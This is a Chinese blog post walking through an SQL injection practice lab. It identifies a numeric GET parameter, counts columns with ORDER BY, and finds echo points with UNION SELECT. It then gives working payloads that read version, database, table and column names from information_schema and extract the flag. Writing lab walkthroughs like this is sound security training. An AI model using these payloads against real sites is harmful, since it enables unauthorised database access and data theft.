SQL注入靶场显错注入(一)

 

SQL注入靶场显错注入(一)

1

确定注入点位置

1.1.根据请求方式的不同分为GET和POST

GET型注入

    注入参数通过 URL(查询字符串) 传递,通常是由用户直接在浏览器地址栏输入

格式通常为:http://example.com/page.php?id=1&name=admin

 

POST型注入

    注入参数通过 HTTP请求正文(Body) 传递,通常是通过<form method="POST">提交的表单数据(如登录框、搜索框、评论框)

格式通常为POST提交到/login.php,请求正文为 username=admin&password=123456

1.2.注入点在GET请求的ID参数里

image

2

确定注入类型和字段数

2.1.测试注入字段类型

使用逗号返回空,没引起报错。使用2-1返回正常值说明存在数字型注入。

字符型注入的后端为:

"SELECT * FROM user WHERE id='$_GET[id]'";

因此需要使用单引号闭合语句。而数字型注入后端为:

"SELECT * FROM user WHERE id=$_GET[id]";

直接使用逻辑判断为数字型注入。

2.2.使用ORDER BY判断字段数

使用列索引排序判断字段数,实际后台执行:

image

判断出字段数为3,当输入4时返回-No results found

image

3

确定回显点

3.1.使用union函数判断回显点

image

确认回显点是2和3

image

 

4

获取当前数据库的库名和表名

4.1.获取当前数据库的库名

?id=89 union select 1,version(),database()

image

4.2.获取当前数据库的表名

?id=91 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='error')

image

5

获取列名和Flag

5.1.获取列名

?id=91 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='error_flag' and table_schema='error')

image

5.2.获取Flag

?id=91 union select 1,2,group_concat(flag) from error_flag

image

END

 

posted @ 2025-12-03 17:57  予辉安全  阅读(0)  评论(0)    收藏  举报